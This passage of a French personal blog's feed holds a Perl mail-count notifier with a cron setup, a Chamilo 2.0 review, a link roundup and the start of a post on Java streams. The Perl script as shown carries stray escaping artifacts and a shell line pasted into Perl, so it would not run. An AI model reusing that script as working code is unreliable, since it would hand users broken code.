&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;strict&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# Import for lock file&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Fcntl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;:flock&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# Config&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$usage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Usage : notify-mail &amp;lt;mboxfile&amp;gt; &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$icon&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/elsewhere/email\_icon.jpg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$mboxfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;
&lt;span class="nv"&gt;$mboxfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;shift&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$usage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MBOX&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$mboxfile&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Failed to open folder: $mboxfile&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# Ok, I count mails&lt;/span&gt;
&lt;span class="c1"&gt;# Thanks to Moshe Kaminsky &amp;lt;kaminsky@math.huji.ac.il&amp;gt;, &lt;/span&gt;
&lt;span class="c1"&gt;# I stole him the idea of &amp;quot;Status: R&amp;quot;. &lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$mails&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$oldmails&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;flock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MBOX&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;LOCK&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_EX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="c1"&gt;# lock &lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;MBOX\_FILE&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;$mails&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/^From /o&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;$oldmails&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/^Status: R/o&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;flock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MBOX&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;LOCK&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_UN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="c1"&gt;# unlock &lt;/span&gt;
&lt;span class="nb"&gt;close&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MBOX&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_FILE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;# Work is done… notify&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$nmessages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$mails&lt;/span&gt;&lt;span class="o"&gt;\-&lt;/span&gt;&lt;span class="nv"&gt;$oldmails&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$nmessages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You have got &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$nmessages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; message (in &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$mboxfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# I must add export DISPLAY because cron don&amp;#39;t know my display :-(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DISPLAY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;notify&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;send&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Notify mail&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;$message&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$icon&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J&amp;rsquo;apporte une petite précision. Je ne reçois pas &lt;strong&gt;une&lt;/strong&gt; notification &lt;strong&gt;dès&lt;/strong&gt; que je reçois un mail mais je reçois une notification chaque fois que je décide de regarder si j&amp;rsquo;ai reçu un mail et ceci tant que le mail reste non lu ^^. Je dois donc ajouter mon script comme tache &lt;code&gt;cron&lt;/code&gt; (&lt;a href="http://fr.wikipedia.org/wiki/Cron"&gt;Qu&amp;rsquo;est-ce ?&lt;/a&gt;). J&amp;rsquo;ajoute donc ma tâche afin qu&amp;rsquo;elle s&amp;rsquo;exécute toutes les 2 minutes &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;crontab&lt;span class="w"&gt; &lt;/span&gt;-e
&lt;span class="se"&gt;\*&lt;/span&gt;/2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/home/me/bin/notify-mail&lt;span class="w"&gt; &lt;/span&gt;/var/spool/mail/me
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et &lt;strong&gt;bam&lt;/strong&gt; ! Mon script ne fonctionne plus. Une &lt;a href="http://crunchbanglinux.org/forums/topic/10602/cron/"&gt;petite recherche plus tard&lt;/a&gt; et tout roule. Il faut spécifier à &lt;code&gt;cron&lt;/code&gt; quel &lt;em&gt;display&lt;/em&gt; utiliser &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy…&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Ce qui peut être assez intrusif…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;D&amp;rsquo;où le &lt;code&gt;export&lt;/code&gt; ajouté dans le script&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Chamilo 2.0 aka Edison</title><link href="http://blog.namok.be/2011-03-14-chamilo-2.0-aka-edison.html" rel="alternate"/><published>2011-03-14T00:00:00+01:00</published><updated>2011-03-14T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-03-14:/2011-03-14-chamilo-2.0-aka-edison.html</id><summary type="html">Chamilo 2.0 aka Edison</summary><content type="html">&lt;p&gt;La version 2.0 de &lt;a href="http://chamilo.org/"&gt;Chamilo&lt;/a&gt; (outil de &lt;em&gt;elearning&lt;/em&gt; utilisé à l&amp;rsquo;&lt;a href="http://heb.be/esi"&gt;école&lt;/a&gt;) est disponible depuis décembre (2011) déjà.&lt;/p&gt;
&lt;p&gt;Elle apporte un lot de nouveautés assez conséquent et qui augure plein de bonnes choses pour la suite. Ce qui me posait problème dans les versions 1.8.* semble avoir évolué… en fait la structure de cette version est &lt;strong&gt;radicalement&lt;/strong&gt; différente…&lt;/p&gt;
&lt;p&gt;Si Chamilo 1.8.&lt;em&gt; (et Dokeos) était organisé autour des &lt;/em&gt;&lt;em&gt;cours&lt;/em&gt;&lt;em&gt;, Chamilo 2.0 est organisé autour de &amp;ldquo;&lt;/em&gt;&lt;em&gt;référentiels&lt;/em&gt;*&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Ce qui (me) posait problème en 1.8 c&amp;rsquo;est qu&amp;rsquo;un prof titulaire de plusieurs cours devait parfois répéter de l&amp;rsquo;information d&amp;rsquo;un cours à l&amp;rsquo;autre. Dans cette version, un &lt;em&gt;référentiel&lt;/em&gt; représente &lt;strong&gt;tout&lt;/strong&gt; le contenu &lt;strong&gt;d&amp;rsquo;un&lt;/strong&gt; utilisateur. Je pourrai donc gérer tout mon contenu en une même place… et plus dans chaque cours. J&amp;rsquo;ai d&amp;rsquo;un seul coup d&amp;rsquo;œil accès à tous les contenus que j&amp;rsquo;ai créé… et la notion de contenu est très large.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Après beaucoup de délibérations sur le moyen d&amp;rsquo;adresser ces problèmes, une approche spécifique fut adoptée : Chamilo 2.0 sera basée sur les utilisateurs et non sur les cours. Mais qu&amp;rsquo;est-ce que ça implique ? Tout tourne autour de la notion de propriété. Avant, un contenu était explicitement lié à un cours, dorénavant le contenu est explicitement lié à un utilisateur, qui en devient le propriétaire.&lt;/p&gt;
&lt;p&gt;Extrait d&amp;rsquo;une &lt;a href="http://www.chamilo.org/fr/breves/chamilo-2-edison-publiee"&gt;brève de Chamilo&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hormis qu&amp;rsquo;il veuille être modulaire, extensible, dynamique… Chamilo 2 veut être &lt;a href="http://fr.wikipedia.org/wiki/Keep_it_Simple,_Stupid"&gt;KISS&lt;/a&gt; et c&amp;rsquo;est très bien; le fait d&amp;rsquo;implémenter beaucoup de petites fonctionnalités qui peuvent être indépendantes, chaque fonctionnalité faisant peu mais bien, permet de maintenir l&amp;rsquo;ensemble plus stable, moins lourd, plus facilement modifiable,…&lt;/p&gt;
&lt;p&gt;En regardant la &lt;em&gt;preview&lt;/em&gt;, on constate pas mal de changements. Effectivement la version 2.0 n&amp;rsquo;a (quasi) plus rien à voir avec les versions précédentes. L&amp;rsquo;organisation en &lt;strong&gt;modules&lt;/strong&gt; est directement visible et les possibilités de paramétrisation et personnalisation sont très présentes \o/… ce qui rend la prise en main plus difficile il me semble :-(&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on &lt;a href="http://preview.chamilo.org/"&gt;teste&lt;/a&gt; après avoir lu l&amp;rsquo;&lt;a href="http://www.chamilo.org/fr/breves/chamilo-2-edison-publiee"&gt;annonce de sortie de la version 2.0 de Chamilo&lt;/a&gt; , on peut voir…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Le wiki&lt;/strong&gt; est en fait une page rassemblant tous les wikis de la plateforme. Il suffit de créer un wiki dans son &lt;em&gt;repository&lt;/em&gt;. Après la création le wiki apparait dans la page récapitulative (si les permissions l&amp;rsquo;autorisent) des wikis.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ce fonctionnement semble être identique pour &lt;strong&gt;le forum&lt;/strong&gt;… mais le forum n&amp;rsquo;est toujours pas aussi pratique qu&amp;rsquo;un vrai (genre phpBB, voir &lt;a href="http://fora.namok.be/"&gt;fora&lt;/a&gt; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il est très facile d&amp;rsquo;intégrer des contenus externes; &lt;a href="http://dailymotion.com/"&gt;Dailymotion&lt;/a&gt;, &lt;a href="http://youtube.com/"&gt;Youtube&lt;/a&gt; mais aussi &lt;a href="http://vimeo.com/"&gt;viméo&lt;/a&gt; et beaucoup d&amp;rsquo;autres. Lire, à ce sujet, &amp;ldquo;&lt;a href="http://docs.google.com/fileview?id=0B8n8rrWLColvZGUxZGM0MmEtYWIwOC00MmQ2LTgyNGEtMTczYzdiZjEzYzQ4&amp;amp;hl=en"&gt;Ouvrir la boite de pandore&lt;/a&gt;&amp;rdquo;, document expliquant les choix tactiques de l&amp;rsquo;équipe Chamilo au sujet de l&amp;rsquo;implémentation de certains services. &lt;em&gt;Est-ce que l&amp;rsquo;on code cette fonctionnalité ou est-ce que l&amp;rsquo;on code l&amp;rsquo;intégration de cette fonctionnalité ?&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Par contre, je confirme que la prise en main est moins intuitive bien que cette version offre beaucoup plus de fonctionnalités et une organisation plus &amp;ldquo;logique&amp;rdquo;. J&amp;rsquo;ai joué avec la &lt;em&gt;preview&lt;/em&gt; pendant quelques heures et je n&amp;rsquo;ai pas encore tout en main… il faudra de la patience pour convertir tous les utilisateurs… mais c&amp;rsquo;est une autre histoire.&lt;/p&gt;
&lt;p&gt;Pour terminer, il faut signaler que Magali Gillard, une ancienne élève bosse pour Chamilo. &lt;em&gt;Cool !&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Vrac #6</title><link href="http://blog.namok.be/2011-03-08-Vrac-6.html" rel="alternate"/><published>2011-03-08T00:00:00+01:00</published><updated>2011-03-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-03-08:/2011-03-08-Vrac-6.html</id><summary type="html">Vrac #6</summary><content type="html">&lt;p&gt;Dans ces quelques liens; des moteurs de recherche d&amp;rsquo;un genre nouveau, des plugins Firefox… et un iPad bon marché.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.01net.com/"&gt;Culture Geek&lt;/a&gt; présente deux moteurs de recherche qui font passer Google pour un papy (dixit et au vu de ce que propose Culture Geek c&amp;rsquo;est pas souvent d&amp;rsquo;un niveau très elevé). &lt;a href="http://www.01net.com/editorial/529617/culture-geek-que-reste-t-il-a-google/"&gt;Ici ça parle de moteurs de recherche d&amp;rsquo;un genre nouveau&lt;/a&gt; (ils parlent aussi de la sortie de Bing mais chut !).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.wolframalpha.com/"&gt;WolframAlpha&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://qwiki.com/"&gt;QWiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le premier, &lt;strong&gt;&lt;a href="http://www.wolframalpha.com/"&gt;WolframAlpha&lt;/a&gt;&lt;/strong&gt; est destiné aux &lt;strong&gt;math&lt;/strong&gt; et permet d&amp;rsquo;avoir (par exemple) un aperçu sur des fonctions mathématiques ou autres; &lt;a href="http://www.wolframalpha.com/input/?i=ax2%2Bbx%2Bc%3D0"&gt;équation du second degré&lt;/a&gt;, &lt;a href="http://www.wolframalpha.com/input/?i=sin(x)"&gt;une simple sinuzoïde&lt;/a&gt;,…&lt;/p&gt;
&lt;p&gt;Le second, &lt;strong&gt;&lt;a href="http://www.qwiki.com/"&gt;QWiki&lt;/a&gt;&lt;/strong&gt;, permet de faire une présentation sur un sujet. J&amp;rsquo;ai testé &lt;a href="http://www.qwiki.com/q/#!/Ormeignies"&gt;Ormeignies&lt;/a&gt; et je me suis ensuite rappelé que Marion avait du faire une présentation sur le Caméléon à l&amp;rsquo;école. Rien de probant… par contre &lt;a href="http://www.qwiki.com/q/#!/Camel"&gt;le chameau&lt;/a&gt; fonctionne mieux ;-)… Du chameau à son pied, il n&amp;rsquo;y a qu&amp;rsquo;un pas que je franchis allègrement… on a donc aussi de l&amp;rsquo;info sur &lt;a href="http://www.qwiki.com/q/#!/Cameltoe"&gt;Camel toe (la patte du chameau) NSFW&lt;/a&gt;… et de fil en aiguille (et de plus en plus NSFW) sur le &lt;a href="http://www.qwiki.com/q/#!/Mons_pubis"&gt;Mont de Vénus NSFW&lt;/a&gt;. J&amp;rsquo;arrête là ;-)&lt;/p&gt;
&lt;p&gt;Je dois signaler que ces deux moteurs rament à mort.&lt;/p&gt;
&lt;p&gt;Dans un autre domaine; deux plugins &lt;strong&gt;Firefox&lt;/strong&gt; assez intéressants et un &lt;em&gt;tip&lt;/em&gt;;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://www.ghostery.com/"&gt;Ghostery&lt;/a&gt;&lt;/strong&gt; , plugin firefox (et plein d&amp;rsquo;autres navigateurs) permettant de surveiller les &amp;ldquo;scripts cachés&amp;rdquo; (particulièrement utile pour FB). Oui ces sites qui gravitent autour de FB et nous &amp;ldquo;obligent&amp;rdquo; à aimer une vidée ou poster sur notre mur afin de voir une vidée dont l&amp;rsquo;intérêt est plus que limité.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://addons.mozilla.org/fr/firefox/addon/foxtab/"&gt;FoxTab&lt;/a&gt;&lt;/strong&gt; , plugin &lt;a href="http://firefox.com/"&gt;Firefox&lt;/a&gt; permettant une meilleure gestion des onglet (&lt;em&gt;tabs&lt;/em&gt;). On pourra plus facilement (&lt;a href="https://blog.namok.be/Ctrl-Tab" title="Ctrl-Tab"&gt;Ctrl-Tab&lt;/a&gt;) et joliment passer d&amp;rsquo;un onglet à l&amp;rsquo;autre.&lt;/li&gt;
&lt;li&gt;(Yet another ) &lt;a href="http://culturegeek.over-blog.com/article-23472411.html"&gt;Culture geek&lt;/a&gt; nous indique que la touche &lt;a href="https://blog.namok.be/Ctrl" title="Ctrl"&gt;Ctrl&lt;/a&gt; nous permet de sélectionner plusieurs zone d&amp;rsquo;un texte afin de le coller ! Pratique.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour ceux qui ne sont pas Crésus, vous pouvez acheter un &lt;a href="http://www.themerchandisingshop.co.uk/shop/shopnew/product_detail.php?shopid=248&amp;amp;itemid=6322"&gt;iNotePad&lt;/a&gt; plutôt qu&amp;rsquo;un iPad. C&amp;rsquo;est proposé par &lt;a href="http://fille-anormale.blogspot.com/"&gt;Fille anormale&lt;/a&gt; sur son blog… D&amp;rsquo;accord ! Ça ne sert à rien…&lt;/p&gt;
&lt;h3&gt;À lire aussi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011/02/21/Vrac-5.html"&gt;Vrac #5&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010/11/04/Vrac-4.html"&gt;Vrac #4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010/07/07/Vrac-3.html"&gt;Vrac #3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010/02/22/Vrac-2.html"&gt;Vrac #2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010/01/27/Vrac-1.html"&gt;Vrac #1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Unicode et flux en Java</title><link href="http://blog.namok.be/2011-03-01-Unicode-et-flux-en-Java.html" rel="alternate"/><published>2011-03-01T00:00:00+01:00</published><updated>2011-03-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-03-01:/2011-03-01-Unicode-et-flux-en-Java.html</id><summary type="html">Comprendre l'unicode (deuxième)</summary><content type="html">&lt;p&gt;Je reviens avec la notion d&amp;rsquo;&lt;a href="2009-11-30-unicode-UTF8-UTF16-UTF32-et-tutti-quanti.html"&gt;Unicode en Java&lt;/a&gt;, cette fois dans un contexte de flux (&lt;em&gt;stream&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Le &lt;em&gt;package&lt;/em&gt; &lt;code&gt;java.io&lt;/code&gt; n&amp;rsquo;est pas le plus simple à aborder en Java car il présente une multitude de classes. Nous ne parlerons que de l&amp;rsquo;aspect &lt;strong&gt;binaire&lt;/strong&gt; &lt;em&gt;versus&lt;/em&gt; &lt;strong&gt;texte&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/javaio.png"&gt;&lt;img alt="javaio.png" src="/images/javaio.png" title="javaio.png, mar. 2011"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Les flux Java se décomposent en deux grandes catégories :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les flux &lt;strong&gt;binaires&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;les flux &lt;strong&gt;textes&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Un &lt;strong&gt;flux binaire&lt;/strong&gt; (&lt;em&gt;byte stream&lt;/em&gt;) permet de considérer un flux (un fichier, un socket…) comme un ensemble de &lt;strong&gt;bytes&lt;/strong&gt;. Lorsque j&amp;rsquo;écris dans un flux, j&amp;rsquo;écris un &lt;strong&gt;byte&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Programs use byte streams to perform input and output of 8-bit bytes. All byte stream classes are descended from InputStream and OutputStream.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://download.oracle.com/javase/tutorial/essential/io/bytestreams.html"&gt;Oracle ex Sun&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Un &lt;strong&gt;flux texte&lt;/strong&gt; (&lt;em&gt;character stream&lt;/em&gt;) permet de considérer un flux comme un ensemble de &lt;strong&gt;caractères&lt;/strong&gt;. Lorsque j&amp;rsquo;écris dans un flux, j&amp;rsquo;écris un &lt;strong&gt;caractère&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Java platform stores character values using Unicode conventions. Character stream I/O automatically translates this internal format to and from the local character set. In Western locales, the local character set is usually an 8-bit superset of ASCII.&lt;/p&gt;
